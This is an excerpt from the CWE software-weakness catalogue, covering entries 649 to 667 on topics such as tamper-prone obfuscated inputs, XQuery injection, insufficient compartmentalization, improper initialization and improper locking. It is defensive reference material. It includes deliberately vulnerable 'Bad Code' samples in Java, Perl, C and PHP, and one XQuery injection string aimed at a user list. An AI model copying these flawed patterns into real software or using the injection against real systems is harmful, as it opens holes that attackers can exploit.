
Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Access Control

Gain privileges / assume identity

An attacker may be able to elevate privileges.

Confidentiality

Read application data

An attacker may be able to obtain sensitive information.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands

An attacker may be able to execute code.

Likelihood of Exploit

Low

Enabling Factors for Exploitation

An application contains functions running processes that hold higher privileges.

There is code in the application that calls the privileged APIs.

There is a way for a user to control the data that is being passed to the privileged API or control the context from which it is being called.

Observed Examples

Description
From http://xforce.iss.net/xforce/xfdb/12848: man-db is a Unix utility that displays online help files. man-db versions 2.3.12 beta and 2.3.18 to 2.4.1 could allow a local attacker to gain privileges, caused by a vulnerability when the open_cat_stream function is called. If man-db is installed setuid, a local attacker could exploit this vulnerability to gain "man" user privileges.

Potential Mitigations

Implementation

Before calling privileged APIs, always ensure that the assumptions made by the privileged code hold true prior to making the call.

Architecture and Design

Know architecture and implementation weaknesses of the privileged APIs and make sure to account for these weaknesses before calling the privileged APIs to ensure that they can be called safely.

Implementation

If privileged APIs make certain assumptions about data, context or state validity that are passed by the caller, the calling code must ensure that these assumptions have been validated prior to making the call.

Implementation

If privileged APIs do not shed their privilege prior to returning to the calling code, then calling code needs to shed these privileges immediately and safely right after the call to the privileged APIs. In particular, the calling code needs to ensure that a privileged thread of execution will never be returned to the user or made available to user-controlled processes.

Implementation

Only call privileged APIs from safe, consistent and expected state.

Implementation

Ensure that a failure or an error will not leave a system in a state where privileges are not properly shed and privilege escalation is possible (i.e. fail securely with regards to handling of privileges).

CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking

Weakness ID: 649 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the software does not use integrity checks to detect if those inputs have been modified.

Extended Description

When an application relies on obfuscation or incorrectly applied / weak encryption to protect client-controllable tokens or parameters, that may have an effect on the user state, system state, or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary blindly traverses the space of possible values of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate his or her privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application does not protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity

Unexpected state

The inputs could be modified without detection, causing the software to have unexpected system state or make incorrect security decisions.

Likelihood of Exploit

High

Enabling Factors for Exploitation

The application uses client controllable tokens/parameters in order to make decisions on the server side about user state, system state or other decisions related to the functionality of the application.

The application does not protect client controllable tokens/parameters for integrity and thus not able to catch tampering.

Observed Examples

Reference	Description
CVE-2005-0039	An IPSec configuration does not perform integrity checking of the IPSec packet as the result of either not configuring ESP properly to support the integrity service or using AH improperly. In either case, the security gateway receiving the IPSec packet would not validate the integrity of the packet to ensure that it was not changed. Thus if the packets were intercepted the attacker could undetectably change some of the bits in the packets. The meaningful bit flipping was possible due to the known weaknesses in the CBC encryption mode. Since the attacker knew the structure of the packet, he or she was able (in one variation of the attack) to use bit flipping to change the destination IP of the packet to the destination machine controlled by the attacker. And so the destination security gateway would decrypt the packet and then forward the plaintext to the machine controlled by the attacker. The attacker could then read the original message. For instance if VPN was used with the vulnerable IPSec configuration the attacker could read the victim's e-mail. This vulnerability demonstrates the need to enforce the integrity service properly when critical data could be modified by an attacker. This problem might have also been mitigated by using an encryption mode that is not susceptible to bit flipping attacks, but the preferred mechanism to address this problem still remains message verification for

Reference	Description
	integrity. While this attack focuses on the network layer and requires a man in the middle scenario, the situation is not much different at the software level where an attacker can modify tokens/parameters used by the application.

Potential Mitigations

Architecture and Design

Protect important client controllable tokens/parameters for integrity using PKI methods (i.e. digital signatures) or other means, and checks for integrity on the server side.

Architecture and Design

Repeated requests from a particular user that include invalid values of tokens/parameters (those that should not be changed manually by users) should result in the user account lockout.

Architecture and Design

Client side tokens/parameters should not be such that it would be easy/predictable to guess another valid state.

Architecture and Design

Obfuscation should not be relied upon. If encryption is used, it needs to be properly applied (i.e. proven algorithm and implementation, use padding, use random initialization vector, user proper encryption mode). Even with proper encryption where the ciphertext does not leak information about the plaintext or reveal its structure, compromising integrity is possible (although less likely) without the provision of the integrity service.

CWE-650: Trusting HTTP Permission Methods on the Server Side

Weakness ID: 650 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.

Extended Description

An application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation, believing that it will be enough to prevent unintended resource alterations. Even though the HTTP GET specification requires that GET requests should not have side effects, there is nothing in the HTTP protocol itself that prevents the HTTP GET method from performing more than just query of the data. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server side. Whenever that happens however, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, and POST methods have the power to alter the representation of the resource being accessed in the request.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Access Control
Gain privileges / assume identity

An attacker could escalate privileges.

Integrity
Modify application data

An attacker could modify resources.

Confidentiality
Read application data

An attacker could obtain sensitive information.

Likelihood of Exploit

High

Enabling Factors for Exploitation

The application allows HTTP access to resources.

The application is not properly configured to enforce access controls around the resources accessible via HTTP.

Observed Examples

Description
The HTTP GET method is designed to retrieve resources and not to alter the state of the application or resources on the server side. However, developers can easily code programs that accept a HTTP GET request that do in fact create, update or delete data on the server. Both Flickr (http://www.flickr.com/services/api/flickr.photosets.delete.html) and del.icio.us (http://del.icio.us/api/posts/delete) have implemented delete operations using standard HTTP GET requests. These HTTP GET methods do delete data on the server side, despite being called from GET, which is not supposed to alter state.

Potential Mitigations

System Configuration

Configure ACLs on the server side to ensure that proper level of access control is defined for each accessible resource representation.

Relationships

Nature	Type	ID	Name	V	Page

CWE-651: Information Exposure Through WSDL File

Weakness ID: 651 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The Web services architecture may require exposing a WSDL file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).

Extended Description

An information exposure may occur if any of the following apply:

The WSDL file is accessible to a wider audience than intended.

The WSDL file contains information on the methods/services that should not be publicly accessible or information about deprecated methods. This problem is made more likely due to the WSDL often being automatically generated from the code.

Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Technology Classes

- Web-Server *(Often)*

Common Consequences

Confidentiality

Read application data

The attacker may find sensitive information located in the WSDL file.

Enabling Factors for Exploitation

The system employs a web services architecture.

WSDL is used to advertise information information on how to communicate with the service.

Observed Examples

Description
The WSDL for a service providing information on the best price of a certain item exposes the following method: float getBestPrice(String ItemID) An attacker might guess that there is a method setBestPrice (String ItemID, float Price) that is available and invoke that method to try and change the best price of a given item to their advantage. The attack may succeed if the attacker correctly guesses the name of the method, the method does not have proper access controls around it and the service itself has the functionality to update the best price of the item.

Potential Mitigations

Architecture and Design

Limit access to the WSDL file as much as possible. If services are provided only to a limited number of entities, it may be better to provide WSDL privately to each of these entities than to publish WSDL publicly.

Architecture and Design

Separation of Privilege

Make sure that WSDL does not describe methods that should not be publicly accessible. Make sure to protect service methods that should not be publicly accessible with access controls.

Architecture and Design

Do not use method names in WSDL that might help an adversary guess names of private methods/resources used by the service.

Relationships

Nature	Type	ID	Name	V	Page

CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

Weakness ID: 652 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Read application data

An attacker might be able to read sensitive information from the XML database.

Likelihood of Exploit

High

Enabling Factors for Exploitation

XQL queries are constructed dynamically using user supplied input that has not been sufficiently validated.

Observed Examples

Description
From CAPEC 84: An attacker can pass XQuery expressions embedded in otherwise standard XML documents. Like SQL injection attacks, the attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[name='*'] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.

Potential Mitigations

Implementation

Use parameterized queries. This will help ensure separation between data plane and control plane.

Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XQL queries is safe in that context.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	91	XML Injection (aka Blind XPath Injection)	699 1000	170
ChildOf	C	943	Improper Neutralization of Special Elements in Data Query Logic	**699** **1000**	1373
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	**888**	1392

Relationship Notes

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	46	XQuery Injection
Software Fault Patterns	SFP24	Tainted input to command

CWE-653: Insufficient Compartmentalization

Weakness ID: 653 *(Weakness Base)* **Status:** Draft

Description

Summary

The product does not sufficiently compartmentalize functionality or processes that require different privilege levels, rights, or permissions.

Extended Description

When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.

Alternate Terms

Separation of Privilege

Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. This node conflicts with the original definition of "Separation of Privilege" by Saltzer and Schroeder; that original definition is more closely associated with CWE-654. Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

Terminology Notes

The term "Separation of Privilege" is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (this node) and using only one factor in a security decision (CWE-654). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Access Control
Gain privileges / assume identity
Bypass protection mechanism

The exploitation of a weakness in low-privileged areas of the software can be leveraged to reach higher-privileged areas without having to overcome any additional obstacles.

Detection Methods

Automated Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Compare binary / bytecode to application permission manifest

Manual Static Analysis - Source Code
SOAR High

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Attack Modeling

Demonstrative Examples

Example 1:

Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.

Example 2:

The traditional UNIX privilege model provides root with arbitrary access to all resources, but root is frequently the only user that has privileges. As a result, administrative tasks require root privileges, even if those tasks are limited to a small area, such as updating user man pages. Some UNIX flavors have a "bin" user that is the owner of system executables, but since root relies on executables owned by bin, a compromise of the bin account can be leveraged for root privileges by modifying a bin-owned executable, such as CVE-2007-4238.

Potential Mitigations

Architecture and Design

Break up privileges between different modules, objects or entities. Minimize the interfaces between modules and require strong access control between them.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	699	453
ChildOf	C	657	Violation of Secure Design Principles	**699** **1000**	1019
ChildOf	C	693	Protection Mechanism Failure	1000	1077
ChildOf	C	901	SFP Primary Cluster: Privilege	**888**	1332

Relationship Notes

There is a close association with CWE-250 (Execution with Unnecessary Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible. In this fashion, compartmentalization becomes one mechanism for reducing privileges.

Causal Nature

Implicit

CWE-654: Reliance on a Single Factor in a Security Decision

Weakness ID: 654 *(Weakness Base)* **Status:** Draft

Description

Summary

A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.

Alternate Terms

Separation of Privilege

Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. While this node is closely associated with the original definition of "Separation of Privilege" by Saltzer and Schroeder, others use the same term to describe poor compartmentalization (CWE-653). Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Access Control

Gain privileges / assume identity

If the single factor is compromised (e.g. by theft or spoofing), then the integrity of the entire security mechanism can be violated with respect to the user that is identified by that factor.

Non-Repudiation

Hide activities

It can become difficult or impossible for the product to be able to distinguish between legitimate activities by the entity who provided the factor, versus illegitimate activities by an attacker.

Demonstrative Examples

Example 1:

Password-only authentication is perhaps the most well-known example of use of a single factor. Anybody who knows a user's password can impersonate that user.

Example 2:

When authenticating, use multiple factors, such as "something you know" (such as a password) and "something you have" (such as a hardware-based one-time password generator, or a biometric device).

Potential Mitigations

Architecture and Design

Use multiple simultaneous checks before granting access to critical operations or granting critical privileges. A weaker but helpful mitigation is to use several successive checks (multiple layers of security).

Architecture and Design

Use redundant access rules on different choke points (e.g., firewalls).

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Maintenance Notes

This node is closely associated with the term "Separation of Privilege." This term is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (CWE-653) and using only one factor in a security decision (this node). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

CWE-655: Insufficient Psychological Acceptability

Weakness ID: 655 *(Weakness Base)* **Status:** Draft

Description

Summary

The software has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Access Control

Bypass protection mechanism

By bypassing the security mechanism, a user might leave the system in a less secure state than intended by the administrator, making it more susceptible to compromise.

Demonstrative Examples

Example 1:

In "Usability of Security: A Case Study" [R.655.3], the authors consider human factors in a cryptography product. Some of the weakness relevant discoveries of this case study were: users accidentally leaked sensitive information, could not figure out how to perform some tasks, thought they were enabling a security option when they were not, and made improper trust decisions.

Example 2:

Enforcing complex and difficult-to-remember passwords that need to be frequently changed for access to trivial resources, e.g., to use a black-and-white printer. Complex password requirements can also cause users to store the passwords in an unsafe manner so they don't have to remember them, such as using a sticky note or saving them in an unencrypted file.

Example 3:

Some CAPTCHA utilities produce images that are too difficult for a human to read, causing user frustration.

Potential Mitigations

Testing

Where possible, perform human factors and usability studies to identify where your product's security mechanisms are difficult to use, and why.

Architecture and Design

Make the security mechanism as seamless as possible, while also providing the user with sufficient details when a security decision produces unexpected results.

Other Notes

This weakness covers many security measures causing user inconvenience, requiring effort or causing frustration, that are disproportionate to the risks or value of the protected assets, or that are perceived to be ineffective.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

CWE-656: Reliance on Security Through Obscurity

Weakness ID: 656 *(Weakness Base)* **Status:** Draft

Description

Summary

The software uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.

Extended Description

This reliance on "security through obscurity" can produce resultant weaknesses if an attacker is able to reverse engineer the inner workings of the mechanism. Note that obscurity can be one small part of defense in depth, since it can create more work for an attacker; however, it is a significant risk if used as the primary means of protection.

Alternate Terms

Never Assuming your secrets are safe

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality
Integrity
Availability
Other
Other

The security mechanism can be bypassed easily.

Demonstrative Examples

The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption, CWE-311), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

References

Jon Postel, Editor. "RFC: 793, TRANSMISSION CONTROL PROTOCOL". Information Sciences Institute. September 1981. < http://www.ietf.org/rfc/rfc0793.txt >.

Observed Examples

Reference	Description
CVE-2005-4002	Hard-coded cryptographic key stored in executable program.
CVE-2006-4068	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks.
CVE-2006-6588	Reliance on hidden form fields in a web application. Many web application vulnerabilities exist because the developer did not consider that "hidden" form fields can be processed using a modified client.
CVE-2006-7142	Hard-coded cryptographic key stored in executable program.

Potential Mitigations

Architecture and Design

Always consider whether knowledge of your code or design is sufficient to break it. Reverse engineering is a highly successful discipline, and financially feasible for motivated adversaries. Black-box techniques are established for binary analysis of executables that use obfuscation, runtime analysis of proprietary protocols, inferring file formats, and others.

Architecture and Design

When available, use publicly-vetted algorithms and procedures, as these are more likely to undergo more extensive security analysis and testing. This is especially the case with encryption and authentication.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	699	453
CanPrecede	B	259	Use of Hard-coded Password	1000	460
CanPrecede	B	321	Use of Hard-coded Cryptographic Key	1000	566
CanPrecede	B	472	External Control of Assumed-Immutable Web Parameter	1000	795
ChildOf	C	657	Violation of Secure Design Principles	**699** **1000**	1019
ChildOf	C	693	Protection Mechanism Failure	1000	1077
ChildOf	C	975	SFP Secondary Cluster: Architecture	**888**	1386

Relationship Notes

Note that there is a close relationship between this weakness and CWE-603 (Use of Client-Side Authentication). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

Causal Nature

CWE-662: Improper Synchronization

Weakness ID: 662 *(Weakness Base)* **Status:** Draft

Description

Summary

The software attempts to use a shared resource in an exclusive manner, but does not prevent or incorrectly prevents use of the resource by another thread or process.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Integrity
Confidentiality
Other
Modify application data
Read application data
Alter execution logic

Potential Mitigations

Implementation

Use industry standard APIs to synchronize your code.

CWE-663: Use of a Non-reentrant Function in a Concurrent Context

Weakness ID: 663 *(Weakness Base)* **Status:** Draft

Description

Summary

The software calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Integrity
Confidentiality
Other
Modify application data
Read application data
Alter execution logic

Observed Examples

Reference	Description
CVE-2001-1349	unsafe calls to library functions from signal handler
CVE-2004-2259	handler for SIGCHLD uses non-reentrant functions

Potential Mitigations

Implementation

Use reentrant functions if available.

Implementation

Add synchronization to your non-reentrant function.

Implementation

In Java, use the ReentrantLock Class.

CWE-664: Improper Control of a Resource Through its Lifetime

Weakness ID: 664 *(Weakness Class)* **Status:** Draft

Description

Summary

The software does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.

Extended Description

Resources often have explicit instructions on how to be created, used and destroyed. When software does not follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.

Even without explicit instructions, various principles are expected to be adhered to, such as "Do not use an object until after its creation is complete," or "do not use an object after it has been slated for destruction."

Time of Introduction

- Implementation

Common Consequences

Other
Other

Potential Mitigations

Testing

Use Static analysis tools to check for unreleased resources.

Maintenance Notes

More work is needed on this node and its children. There are perspective/layering issues; for example, one breakdown is based on lifecycle phase (CWE-404, CWE-665), while other children are independent of lifecycle, such as CWE-400. Others do not specify as many bases or variants, such as CWE-704, which primarily covers numbers at this stage.

CWE-665: Improper Initialization

Weakness ID: 665 *(Weakness Class)* **Status:** Draft

Description

Summary

The software does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

Extended Description

This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- Language-independent

Modes of Introduction

This weakness can occur in code paths that are not well-tested, such as rare error conditions. This is because the use of uninitialized data would be noticed as a bug during frequently-used functionality.

Common Consequences

Confidentiality
Read memory
Read application data

When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.

Access Control
Bypass protection mechanism

If security-critical decisions rely on a variable having a "0" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.

Availability
DoS: crash / exit / restart

The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may produce an index that is outside the range of the array, possibly causing a crash or an exit in other environments.

Likelihood of Exploit

Medium

Detection Methods

Automated Dynamic Analysis
Moderate

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Initialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Java Example: *Bad Code*

```
private boolean initialized = true;
public void someMethod() {
  if (!initialized) {
    // perform initialization tasks
    ...
    initialized = true;
  }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Perl Example: *Bad Code*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
  $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
  DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

C Example: *Bad Code*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Observed Examples

Reference	Description
CVE-2001-1471	chain: an invalid value prevents a library file from being included, skipping initialization of key variables, leading to resultant eval injection.
CVE-2005-1036	Permission bitmap is not properly initialized, leading to resultant privilege elevation or DoS.
CVE-2007-3749	OS kernel does not reset a port when starting a setuid program, allowing local users to access the port and gain privileges.
CVE-2008-0062	Lack of initialization triggers NULL pointer dereference or double-free.
CVE-2008-0063	Product does not clear memory contents when generating an error message, leading to information leak.
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application.
CVE-2008-2934	Free of an uninitialized pointer leads to crash and possible code execution.
CVE-2008-3475	chain: Improper initialization leads to memory corruption.
CVE-2008-3597	chain: game server can access player data structures before initialization has happened leading to NULL dereference
CVE-2008-3637	Improper error checking in protection mechanism produces an uninitialized variable, allowing security bypass and code execution.
CVE-2008-3688	chain: Uninitialized variable leads to infinite loop.
CVE-2008-4197	Use of uninitialized memory may allow code execution.
CVE-2008-5021	Composite: race condition allows attacker to modify an object while it is still being initialized, causing software to access uninitialized memory.
CVE-2009-0949	chain: improper initialization of memory can lead to NULL dereference
CVE-2009-2692	chain: uninitialized function pointers can be dereferenced allowing code execution
CVE-2009-3620	chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference

Potential Mitigations

Requirements

Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.

Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Implementation

Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.

Implementation

Avoid race conditions (CWE-362) during initialization routines.

Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

CWE-666: Operation on Resource in Wrong Phase of Lifetime

Weakness ID: 666 *(Weakness Base)* **Status:** Draft

Description

Summary

The software performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.

Extended Description

When a developer wants to initialize, use or release a resource, it is important to follow the specifications outlined for how to operate on that resource and to ensure that the resource is in the expected state. In this case, the software wants to perform a normally valid operation, initialization, use or release, on a resource when it is in the incorrect phase of its lifetime.

Time of Introduction

- Implementation
- Operation

Common Consequences

Other
Other

Potential Mitigations

Architecture and Design

Follow the resource's lifecycle from creation to release.

CWE-667: Improper Locking

Weakness ID: 667 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly acquire a lock on a resource, or it does not properly release a lock on a resource, leading to unexpected resource state changes and behaviors.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Availability
DoS: resource consumption (CPU)

Inconsistent locking discipline can lead to deadlock.

Demonstrative Examples

Example 1:

In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.

Java Example: *Bad Code*

```
private long someLongValue;
public long getLongValue() {
  return someLongValue;
}
public void setLongValue(long l) {
  someLongValue = l;
}
```

Example 2:

This code tries to obtain a lock for a file, then writes to it.

PHP Example: *Bad Code*

```
function writeToLog($message){
  $logfile = fopen("logFile.log", "a");
  //attempt to get logfile lock
  if (flock($logfile, LOCK_EX)) {
    fwrite($logfile,$message);
    // unlock logfile
    flock($logfile, LOCK_UN);
  }
  else {
    print "Could not obtain lock on logFile.log, message not recorded\n";
  }
}
fclose($logFile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

Example 3:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

C Example: *Bad Code*

```
void f(pthread_mutex_t *mutex) {
  pthread_mutex_lock(mutex);
  /* access shared resource */
  pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

Good Code

```
int f(pthread_mutex_t *mutex) {
  int result;
  result = pthread_mutex_lock(mutex);
  if (0 != result)
    return result;
  /* access shared resource */
  return pthread_mutex_unlock(mutex);
}
```

Example 4:

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Java Example: *Bad Code*

```
if (helper == null) {
  synchronized (this) {
    if (helper == null) {
      helper = new Helper();
    }
  }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

Bad Code

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

Observed Examples

Reference	Description
CVE-2000-0338	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.
CVE-2000-1198	Chain: Lock files with predictable names. Resultant from randomness.
CVE-2001-0682	Program can not execute when attacker obtains a mutex.
CVE-2002-0051	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.
CVE-2002-1850	read/write deadlock between web server and script
